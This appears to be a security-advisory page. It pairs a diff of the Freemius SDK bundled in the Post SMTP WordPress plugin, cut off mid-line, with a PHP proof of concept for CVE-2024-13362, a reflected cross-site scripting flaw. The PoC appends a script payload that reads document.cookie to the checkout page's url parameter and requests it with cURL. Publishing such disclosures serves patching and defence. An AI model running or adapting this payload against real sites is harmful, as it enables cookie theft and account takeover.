                 $sanitized['mailgun_api_key'] = isset( $sanitized['mailgun_api_key'] ) ? $sanitized['mailgun_api_key'] : '';
                 $sanitized[PostmanOptions::SENDGRID_API_KEY] = isset( $sanitized[PostmanOptions::SENDGRID_API_KEY] ) ? $sanitized[PostmanOptions::SENDGRID_API_KEY] : '';
+                $sanitized['sendgrid_region']  = isset( $sanitized['sendgrid_region'] ) ? $sanitized['sendgrid_region'] : '';
                 $sanitized['mandrill_api_key'] = isset( $sanitized['mandrill_api_key'] ) ? $sanitized['mandrill_api_key'] : '';
                 $sanitized['elasticemail_api_key'] = isset( $sanitized['elasticemail_api_key'] ) ? $sanitized['elasticemail_api_key'] : '';
                 $sanitized[PostmanOptions::MAILJET_API_KEY] = isset( $sanitized[PostmanOptions::MAILJET_API_KEY] ) ? $sanitized[PostmanOptions::MAILJET_API_KEY] : '';
@@ -1657,7 +1670,7 @@
                 $sanitized['ses_region'] = isset( $sanitized['ses_region'] ) ? $sanitized['ses_region'] : '';
                 $sanitized['enc_type'] = 'tls';
                 $sanitized['auth_type'] = 'login';
-
+
                 foreach( $sanitized as $key => $value ) {

                     $options[$key] = $value;
@@ -1669,9 +1682,7 @@
                     $response = true;

                 } else {
-
-                    $response = update_option( PostmanOptions::POSTMAN_OPTIONS, $options );
-
+                    $response = update_option( PostmanOptions::POSTMAN_OPTIONS , $options );
                 }

             }
--- a/post-smtp/freemius/includes/class-freemius.php
+++ b/post-smtp/freemius/includes/class-freemius.php
@@ -110,6 +110,12 @@
         private $_enable_anonymous = true;

         /**
+         * @since 2.9.1
+         * @var string|null Hints the SDK whether the plugin supports parallel activation mode, preventing the auto-deactivation of the free version when the premium version is activated, and vice versa.
+         */
+        private $_premium_plugin_basename_from_parallel_activation;
+
+        /**
          * @since 1.1.7.5
          * @var bool Hints the SDK if plugin should run in anonymous mode (only adds feedback form).
          */
@@ -1651,6 +1657,31 @@
                     );
                 }
             }
+
+            if (
+                $this->is_user_in_admin() &&
+                $this->is_parallel_activation() &&
+                $this->_premium_plugin_basename !== $this->_premium_plugin_basename_from_parallel_activation
+            ) {
+                $this->_premium_plugin_basename = $this->_premium_plugin_basename_from_parallel_activation;
+
+                register_activation_hook(
+                    dirname( $this->_plugin_dir_path ) . '/' . $this->_premium_plugin_basename,
+                    array( &$this, '_activate_plugin_event_hook' )
+                );
+            }
+        }
+
+        /**
+         * Determines if a plugin is running in parallel activation mode.
+         *
+         * @author Leo Fajardo (@leorw)
+         * @since 2.9.1
+         *
+         * @return bool
+         */
+        private function is_parallel_activation() {
+            return ! empty( $this->_premium_plugin_basename_from_parallel_activation );
         }

         /**
@@ -5155,11 +5186,35 @@
                 $this->_plugin :
                 new FS_Plugin();

+            $is_premium     = $this->get_bool_option( $plugin_info, 'is_premium', true );
             $premium_suffix = $this->get_option( $plugin_info, 'premium_suffix', '(Premium)' );

+            $module_type = $this->get_option( $plugin_info, 'type', $this->_module_type );
+
+            $parallel_activation = $this->get_option( $plugin_info, 'parallel_activation' );
+
+            if (
+                ! $is_premium &&
+                is_array( $parallel_activation ) &&
+                ( WP_FS__MODULE_TYPE_PLUGIN === $module_type ) &&
+                $this->get_bool_option( $parallel_activation, 'enabled' )
+            ) {
+                $premium_basename = $this->get_option( $parallel_activation, 'premium_version_basename' );
+
+                if ( empty( $premium_basename ) ) {
+                    throw new Exception('You need to specify the premium version basename to enable parallel version activation.');
+                }
+
+                $this->_premium_plugin_basename_from_parallel_activation = $premium_basename;
+
+                if ( is_plugin_active( $premium_basename ) ) {
+                    $is_premium = true;
+                }
+            }
+
             $plugin->update( array(
                 'id'                   => $id,
-                'type'                 => $this->get_option( $plugin_info, 'type', $this->_module_type ),
+                'type'                 => $module_type,
                 'public_key'           => $public_key,
                 'slug'                 => $this->_slug,
                 'premium_slug'         => $this->get_option( $plugin_info, 'premium_slug', "{$this->_slug}-premium" ),
@@ -5167,7 +5222,7 @@
                 'version'              => $this->get_plugin_version(),
                 'title'                => $this->get_plugin_name( $premium_suffix ),
                 'file'                 => $this->_plugin_basename,
-                'is_premium'           => $this->get_bool_option( $plugin_info, 'is_premium', true ),
+                'is_premium'           => $is_premium,
                 'premium_suffix'       => $premium_suffix,
                 'is_live'              => $this->get_bool_option( $plugin_info, 'is_live', true ),
                 'affiliate_moderation' => $this->get_option( $plugin_info, 'has_affiliation' ),
@@ -5236,7 +5291,14 @@
                 $this->_anonymous_mode   = false;
             } else {
                 $this->_enable_anonymous = $this->get_bool_option( $plugin_info, 'enable_anonymous', true );
-                $this->_anonymous_mode   = $this->get_bool_option( $plugin_info, 'anonymous_mode', false );
+                $this->_anonymous_mode   = (
+                    $this->get_bool_option( $plugin_info, 'anonymous_mode', false ) ||
+                    (
+                        $this->apply_filters( 'playground_anonymous_mode', true ) &&
+                        ! empty( $_SERVER['HTTP_HOST'] ) &&
+                        FS_Site::is_playground_wp_environment_by_host( $_SERVER['HTTP_HOST'] )
+                    )
+                );
             }
             $this->_permissions = $this->get_option( $plugin_info, 'permissions', array() );
             $this->_is_bundle_license_auto_activation_enabled = $this->get_option( $plugin_info, 'bundle_license_auto_activation', false );
@@ -5444,7 +5506,7 @@

             if ( $this->is_registered() ) {
                 // Schedule code type changes event.
-                $this->schedule_install_sync();
+                $this->maybe_schedule_install_sync_cron();
             }

             /**
@@ -6508,6 +6570,33 @@
         }

         /**
+         * Instead of running blocking install sync event, execute non blocking scheduled cron job.
+         *
+         * @param int $except_blog_id Since 2.0.0 when running in a multisite network environment, the cron execution is consolidated. This param allows excluding specified blog ID from being the cron job executor.
+         *
+         * @author Leo Fajardo (@leorw)
+         * @since  2.9.1
+         */
+        private function maybe_schedule_install_sync_cron( $except_blog_id = 0 ) {
+            if ( ! $this->is_user_in_admin() ) {
+                return;
+            }
+
+            if ( $this->is_clone() ) {
+                return;
+            }
+
+            if (
+                // The event has been properly scheduled, so no need to reschedule it.
+                is_numeric( $this->next_install_sync() )
+            ) {
+                return;
+            }
+
+            $this->schedule_cron( 'install_sync', 'install_sync', 'single', WP_FS__SCRIPT_START_TIME, false, $except_blog_id );
+        }
+
+        /**
          * @author Vova Feldman (@svovaf)
          * @since  1.1.7.3
          *
@@ -6605,22 +6694,6 @@
         }

         /**
-         * Instead of running blocking install sync event, execute non blocking scheduled wp-cron.
-         *
-         * @author Vova Feldman (@svovaf)
-         * @since  1.1.7.3
-         *
-         * @param int $except_blog_id Since 2.0.0 when running in a multisite network environment, the cron execution is consolidated. This param allows excluding excluded specified blog ID from being the cron executor.
-         */
-        private function schedule_install_sync( $except_blog_id = 0 ) {
-            if ( $this->is_clone() ) {
-                return;
-            }
-
-            $this->schedule_cron( 'install_sync', 'install_sync', 'single', WP_FS__SCRIPT_START_TIME, false, $except_blog_id );
-        }
-
-        /**
          * Unix timestamp for previous install sync cron execution or false if never executed.
          *
          * @todo   There's some very strange bug that $this->_storage->install_sync_timestamp value is not being updated. But for sure the sync event is working.
@@ -7411,7 +7484,7 @@
                  */
                 if (
                     is_plugin_active( $other_version_basename ) &&
-                    $this->apply_filters( 'deactivate_on_activation', true )
+                    $this->apply_filters( 'deactivate_on_activation', ! $this->is_parallel_activation() )
                 ) {
                     deactivate_plugins( $other_version_basename );
                 }
@@ -7425,7 +7498,7 @@

                 // Schedule re-activation event and sync.
 //				$this->sync_install( array(), true );
-                $this->schedule_install_sync();
+                $this->maybe_schedule_install_sync_cron();

                 // If activating the premium module version, add an admin notice to congratulate for an upgrade completion.
                 if ( $is_premium_version_activation ) {
@@ -8616,7 +8689,7 @@
                 return;
             }

-            $this->schedule_install_sync();
+            $this->maybe_schedule_install_sync_cron();
 //			$this->sync_install( array(), true );
         }

@@ -15974,7 +16047,7 @@
             if ( $this->is_install_sync_scheduled() &&
                  $context_blog_id == $this->get_install_sync_cron_blog_id()
             ) {
-                $this->schedule_install_sync( $context_blog_id );
+                $this->maybe_schedule_install_sync_cron( $context_blog_id );
             }
         }

@@ -23927,13 +24000,15 @@

             // Start trial button.
             $button = ' ' . sprintf(
-                    '<a style="margin-left: 10px; vertical-align: super;" href="%s"><button class="button button-primary">%s  ➜</button></a>',
+                    '<div><a class="button button-primary" href="%s">%s  ➜</a></div>',
                     $trial_url,
                     $this->get_text_x_inline( 'Start free trial', 'call to action', 'start-free-trial' )
                 );

+            $message_text = $this->apply_filters( 'trial_promotion_message', "{$message} {$cc_string}" );
+
             $this->_admin_notices->add_sticky(
-                $this->apply_filters( 'trial_promotion_message', "{$message} {$cc_string} {$button}" ),
+                "<div class="fs-trial-message-container"><div>{$message_text}</div> {$button}</div>",
                 'trial_promotion',
                 '',
                 'promotion'
@@ -25403,7 +25478,7 @@
                 $img_dir = WP_FS__DIR_IMG;

                 // Locate the main assets folder.
-                if ( 1 < count( $fs_active_plugins->plugins ) ) {
+                if ( ! empty( $fs_active_plugins->plugins ) ) {
                     $plugin_or_theme_img_dir = ( $this->is_plugin() ? WP_PLUGIN_DIR : get_theme_root( get_stylesheet() ) );

                     foreach ( $fs_active_plugins->plugins as $sdk_path => &$data ) {
--- a/post-smtp/freemius/includes/class-fs-plugin-updater.php
+++ b/post-smtp/freemius/includes/class-fs-plugin-updater.php
@@ -542,24 +542,8 @@

             global $wp_current_filter;

-            $current_plugin_version = $this->_fs->get_plugin_version();
-
-            if ( ! empty( $wp_current_filter ) && 'upgrader_process_complete' === $wp_current_filter[0] ) {
-                if (
-                    is_null( $this->_update_details ) ||
-                    ( is_object( $this->_update_details ) && $this->_update_details->new_version !== $current_plugin_version )
-                ) {
-                    /**
-                     * After an update, clear the stored update details and reparse the plugin's main file in order to get
-                     * the updated version's information and prevent the previous update information from showing up on the
-                     * updates page.
-                     *
-                     * @author Leo Fajardo (@leorw)
-                     * @since 2.3.1
-                     */
-                    $this->_update_details  = null;
-                    $current_plugin_version = $this->_fs->get_plugin_version( true );
-                }
+            if ( ! empty( $wp_current_filter ) && in_array( 'upgrader_process_complete', $wp_current_filter ) ) {
+                return $transient_data;
             }

             if ( ! isset( $this->_update_details ) ) {
@@ -568,7 +552,7 @@
                     false,
                     fs_request_get_bool( 'force-check' ),
                     FS_Plugin_Updater::UPDATES_CHECK_CACHE_EXPIRATION,
-                    $current_plugin_version
+                    $this->_fs->get_plugin_version()
                 );

                 $this->_update_details = false;
--- a/post-smtp/freemius/includes/entities/class-fs-plugin-plan.php
+++ b/post-smtp/freemius/includes/entities/class-fs-plugin-plan.php
@@ -13,7 +13,6 @@
 	/**
 	 * Class FS_Plugin_Plan
 	 *
-	 * @property FS_Pricing[] $pricing
 	 */
 	class FS_Plugin_Plan extends FS_Entity {

--- a/post-smtp/freemius/includes/entities/class-fs-site.php
+++ b/post-smtp/freemius/includes/entities/class-fs-site.php
@@ -10,16 +10,16 @@
         exit;
     }

-    /**
-     * @property int $blog_id
-     */
-    #[AllowDynamicProperties]
     class FS_Site extends FS_Scope_Entity {
         /**
          * @var number
          */
         public $site_id;
         /**
+         * @var int
+         */
+        public $blog_id;
+        /**
          * @var number
          */
         public $plugin_id;
@@ -190,7 +190,7 @@
                 fs_ends_with( $subdomain, '.cloudwaysapps.com' ) ||
                 // Kinsta
                 (
-                    ( fs_starts_with( $subdomain, 'staging-' ) || fs_starts_with( $subdomain, 'env-' ) ) &&
+                    ( fs_starts_with( $subdomain, 'stg-' ) ||  fs_starts_with( $subdomain, 'staging-' ) || fs_starts_with( $subdomain, 'env-' ) ) &&
                     ( fs_ends_with( $subdomain, '.kinsta.com' ) || fs_ends_with( $subdomain, '.kinsta.cloud' ) )
                 ) ||
                 // DesktopServer
@@ -208,6 +208,40 @@
             );
         }

+        /**
+         * @author Leo Fajardo (@leorw)
+         * @since  2.9.1
+         *
+         * @param string $host
+         *
+         * @return bool
+         */
+        static function is_playground_wp_environment_by_host( $host ) {
+            // Services aimed at providing a WordPress sandbox environment.
+            $sandbox_wp_environment_domains = array(
+                // InstaWP
+                'instawp.xyz',
+
+                // TasteWP
+                'tastewp.com',
+
+                // WordPress Playground
+                'playground.wordpress.net',
+            );
+
+            foreach ( $sandbox_wp_environment_domains as $domain) {
+                if (
+                    ( $host === $domain ) ||
+                    fs_ends_with( $host, '.' . $domain ) ||
+                    fs_ends_with( $host, '-' . $domain )
+                ) {
+                    return true;
+                }
+            }
+
+            return false;
+        }
+
         function is_localhost() {
             return ( WP_FS__IS_LOCALHOST_FOR_SERVER || self::is_localhost_by_address( $this->url ) );
         }
--- a/post-smtp/freemius/includes/entities/class-fs-user.php
+++ b/post-smtp/freemius/includes/entities/class-fs-user.php
@@ -48,6 +48,19 @@
 			parent::__construct( $user );
 		}

+		/**
+		 * This method removes the deprecated 'is_beta' property from the serialized data.
+		 * Should clean up the serialized data to avoid PHP 8.2 warning on next execution.
+		 *
+		 * @return void
+		 */
+		function __wakeup() {
+			if ( property_exists( $this, 'is_beta' ) ) {
+				// If we enter here, and we are running PHP 8.2, we already had the warning. But we sanitize data for next execution.
+				unset( $this->is_beta );
+			}
+		}
+
 		function get_name() {
 			return trim( ucfirst( trim( is_string( $this->first ) ? $this->first : '' ) ) . ' ' . ucfirst( trim( is_string( $this->last ) ? $this->last : '' ) ) );
 		}
--- a/post-smtp/freemius/includes/managers/class-fs-admin-menu-manager.php
+++ b/post-smtp/freemius/includes/managers/class-fs-admin-menu-manager.php
@@ -699,16 +699,36 @@
 				$menu = $this->find_main_submenu();
 			}

+			$menu_slug   = $menu['menu'][2];
 			$parent_slug = isset( $menu['parent_slug'] ) ?
-                $menu['parent_slug'] :
-                'admin.php';
+				$menu['parent_slug'] :
+				'admin.php';

-            return admin_url(
-                $parent_slug .
-                ( false === strpos( $parent_slug, '?' ) ? '?' : '&' ) .
-                'page=' .
-                $menu['menu'][2]
-            );
+			if ( fs_apply_filter( $this->_module_unique_affix, 'enable_cpt_advanced_menu_logic', false ) ) {
+				$parent_slug = 'admin.php';
+
+				/**
+				 * This line and the `if` block below it are based on the `menu_page_url()` function of WordPress.
+				 *
+				 * @author Leo Fajardo (@leorw)
+				 * @since 2.10.2
+				 */
+				global $_parent_pages;
+
+				if ( ! empty( $_parent_pages[ $menu_slug ] ) ) {
+					$_parent_slug = $_parent_pages[ $menu_slug ];
+					$parent_slug  = isset( $_parent_pages[ $_parent_slug ] ) ?
+						$parent_slug :
+						$menu['parent_slug'];
+				}
+			}
+
+			return admin_url(
+				$parent_slug .
+				( false === strpos( $parent_slug, '?' ) ? '?' : '&' ) .
+				'page=' .
+				$menu_slug
+			);
 		}

 		/**
--- a/post-smtp/freemius/includes/managers/class-fs-admin-notice-manager.php
+++ b/post-smtp/freemius/includes/managers/class-fs-admin-notice-manager.php
@@ -194,8 +194,14 @@
          * @since  1.0.7
          */
         static function _add_sticky_dismiss_javascript() {
+            $sticky_admin_notice_js_template_name = 'sticky-admin-notice-js.php';
+
+            if ( ! file_exists( fs_get_template_path( $sticky_admin_notice_js_template_name ) ) ) {
+                return;
+            }
+
             $params = array();
-            fs_require_once_template( 'sticky-admin-notice-js.php', $params );
+            fs_require_once_template( $sticky_admin_notice_js_template_name, $params );
         }

         private static $_added_sticky_javascript = false;
--- a/post-smtp/freemius/start.php
+++ b/post-smtp/freemius/start.php
@@ -15,7 +15,7 @@
 	 *
 	 * @var string
 	 */
-	$this_sdk_version = '2.9.0';
+	$this_sdk_version = '2.11.0';

 	#region SDK Selection Logic --------------------------------------------------------------------

@@ -36,7 +36,16 @@
 		require_once dirname( __FILE__ ) . '/includes/fs-essential-functions.php';
 	}

-	/**
+    /**
+     * We updated the logic to support SDK loading from a subfolder of a theme as well as from a parent theme
+     * If the SDK is found in the active theme, it sets the relative path accordingly.
+     * If not, it checks the parent theme and sets the relative path if found there.
+     * This allows the SDK to be loaded from composer dependencies or from a custom `vendor/freemius` folder.
+     *
+     * @author Daniele Alessandra (@DanieleAlessandra)
+     * @since  2.9.0.5
+     *
+     *
 	 * This complex logic fixes symlink issues (e.g. with Vargant). The logic assumes
 	 * that if it's a file from an SDK running in a theme, the location of the SDK
 	 * is in the main theme's folder.
@@ -83,16 +92,50 @@
      */
 	$themes_directory         = get_theme_root( get_stylesheet() );
 	$themes_directory_name    = basename( $themes_directory );
-	$theme_candidate_basename = basename( dirname( $fs_root_path ) ) . '/' . basename( $fs_root_path );

-	if ( $file_path == fs_normalize_path( realpath( trailingslashit( $themes_directory ) . $theme_candidate_basename . '/' . basename( $file_path ) ) )
-	) {
-		$this_sdk_relative_path = '../' . $themes_directory_name . '/' . $theme_candidate_basename;
-		$is_theme               = true;
-	} else {
-		$this_sdk_relative_path = plugin_basename( $fs_root_path );
-		$is_theme               = false;
-	}
+    // This change ensures that the condition works even if the SDK is located in a subdirectory (e.g., vendor)
+    $theme_candidate_sdk_basename = str_replace( $themes_directory . '/' . get_stylesheet() . '/', '', $fs_root_path );
+
+    // Check if the current file is part of the active theme.
+    $is_current_sdk_from_active_theme = $file_path == $themes_directory . '/' . get_stylesheet() . '/' . $theme_candidate_sdk_basename . '/' . basename( $file_path );
+    $is_current_sdk_from_parent_theme = false;
+
+    // Check if the current file is part of the parent theme.
+    if ( ! $is_current_sdk_from_active_theme ) {
+        $theme_candidate_sdk_basename     = str_replace( $themes_directory . '/' . get_template() . '/',
+            '',
+            $fs_root_path );
+        $is_current_sdk_from_parent_theme = $file_path == $themes_directory . '/' . get_template() . '/' . $theme_candidate_sdk_basename . '/' . basename( $file_path );
+    }
+
+    $theme_name = null;
+    if ( $is_current_sdk_from_active_theme ) {
+        $theme_name             = get_stylesheet();
+        $this_sdk_relative_path = '../' . $themes_directory_name . '/' . $theme_name . '/' . $theme_candidate_sdk_basename;
+        $is_theme               = true;
+    } else if ( $is_current_sdk_from_parent_theme ) {
+        $theme_name             = get_template();
+        $this_sdk_relative_path = '../' . $themes_directory_name . '/' . $theme_name . '/' . $theme_candidate_sdk_basename;
+        $is_theme               = true;
+    } else {
+        $this_sdk_relative_path = plugin_basename( $fs_root_path );
+        $is_theme               = false;
+
+        /**
+         * If this file was included from another plugin with lower SDK version, and if this plugin is symlinked, then we need to get the actual plugin path,
+         * as the value right now will be wrong, it will only remove the directory separator from the file_path.
+         *
+         * The check of `fs_find_direct_caller_plugin_file` determines that this file was indeed included by a different plugin than the main plugin.
+         */
+        if ( DIRECTORY_SEPARATOR . $this_sdk_relative_path === $fs_root_path && function_exists( 'fs_find_direct_caller_plugin_file' ) ) {
+            $original_plugin_dir_name = dirname( fs_find_direct_caller_plugin_file( $file_path ) );
+
+            // Remove everything before the original plugin directory name.
+            $this_sdk_relative_path = substr( $this_sdk_relative_path, strpos( $this_sdk_relative_path, $original_plugin_dir_name ) );
+
+            unset( $original_plugin_dir_name );
+        }
+    }

 	if ( ! isset( $fs_active_plugins ) ) {
 		// Load all Freemius powered active plugins.
@@ -176,7 +219,8 @@
 	     $this_sdk_version != $fs_active_plugins->plugins[ $this_sdk_relative_path ]->version
 	) {
 		if ( $is_theme ) {
-			$plugin_path = basename( dirname( $this_sdk_relative_path ) );
+            // Saving relative path and not only directory name as it could be a subfolder
+            $plugin_path = $theme_name;
 		} else {
 			$plugin_path = plugin_basename( fs_find_direct_caller_plugin_file( $file_path ) );
 		}
@@ -225,11 +269,23 @@

 		$is_newest_sdk_type_theme = ( isset( $fs_newest_sdk->type ) && 'theme' === $fs_newest_sdk->type );

-		if ( ! $is_newest_sdk_type_theme ) {
-			$is_newest_sdk_plugin_active = is_plugin_active( $fs_newest_sdk->plugin_path );
-		} else {
-			$current_theme               = wp_get_theme();
-			$is_newest_sdk_plugin_active = ( $current_theme->stylesheet === $fs_newest_sdk->plugin_path );
+        /**
+         * @var bool $is_newest_sdk_module_active
+         * True if the plugin with the newest SDK is active.
+         * True if the newest SDK is part of the current theme or current theme's parent.
+         * False otherwise.
+         */
+        if ( ! $is_newest_sdk_type_theme ) {
+            $is_newest_sdk_module_active = is_plugin_active( $fs_newest_sdk->plugin_path );
+        } else {
+            $current_theme = wp_get_theme();
+            // Detect if current theme is the one registered as newer SDK
+            $is_newest_sdk_module_active = (
+                strpos(
+                    $fs_newest_sdk->plugin_path,
+                    '../' . $themes_directory_name . '/' . $current_theme->get_stylesheet() . '/'
+                ) === 0
+            );

             $current_theme_parent = $current_theme->parent();

@@ -237,13 +293,19 @@
              * If the current theme is a child of the theme that has the newest SDK, this prevents a redirects loop
              * from happening by keeping the SDK info stored in the `fs_active_plugins` option.
              */
-            if ( ! $is_newest_sdk_plugin_active && $current_theme_parent instanceof WP_Theme ) {
-                $is_newest_sdk_plugin_active = ( $fs_newest_sdk->plugin_path === $current_theme_parent->stylesheet );
+            if ( ! $is_newest_sdk_module_active && $current_theme_parent instanceof WP_Theme ) {
+                // Detect if current theme parent is the one registered as newer SDK
+                $is_newest_sdk_module_active = (
+                    strpos(
+                        $fs_newest_sdk->plugin_path,
+                        '../' . $themes_directory_name . '/' . $current_theme_parent->get_stylesheet() . '/'
+                    ) === 0
+                );
             }
 		}

 		if ( $is_current_sdk_newest &&
-		     ! $is_newest_sdk_plugin_active &&
+		     ! $is_newest_sdk_module_active &&
 		     ! $fs_active_plugins->newest->in_activation
 		) {
 			// If current SDK is the newest and the plugin is NOT active, it means
@@ -262,14 +324,14 @@
 				. '/start.php' );
 		}

-		$is_newest_sdk_path_valid = ( $is_newest_sdk_plugin_active || $fs_active_plugins->newest->in_activation ) && file_exists( $sdk_star

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2024-13362 - Freemius <= 2.10.1 - Reflected DOM-Based Cross-Site Scripting via url Parameter

// Configuration: Set the target URL of a WordPress site with an affected Freemius plugin/theme
$target_url = 'http://example.com/wp-admin/admin.php?page=freemius-checkout';

// Malicious payload: inject a script into the 'url' parameter
$payload = '"><script>alert(document.cookie)</script>';
$exploit_url = $target_url . '&url=' . urlencode($payload);

// Initialize cURL session
echo "[Atomic Edge] Crafted exploit URL: " . $exploit_url . PHP_EOL;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

// Execute the request
$response = curl_exec($ch);
if (curl_errno($ch)) {
    echo '[Atomic Edge] cURL error: ' . curl_error($ch) . PHP_EOL;
} else {
    echo '[Atomic Edge] Request completed. Check if the script executed in the victim's browser.' . PHP_EOL;
    // Optionally, output part of the response to verify injection
    echo '[Atomic Edge] Response snippet: ' . substr($response, 0, 500) . PHP_EOL;
}
curl_close($ch);
?>

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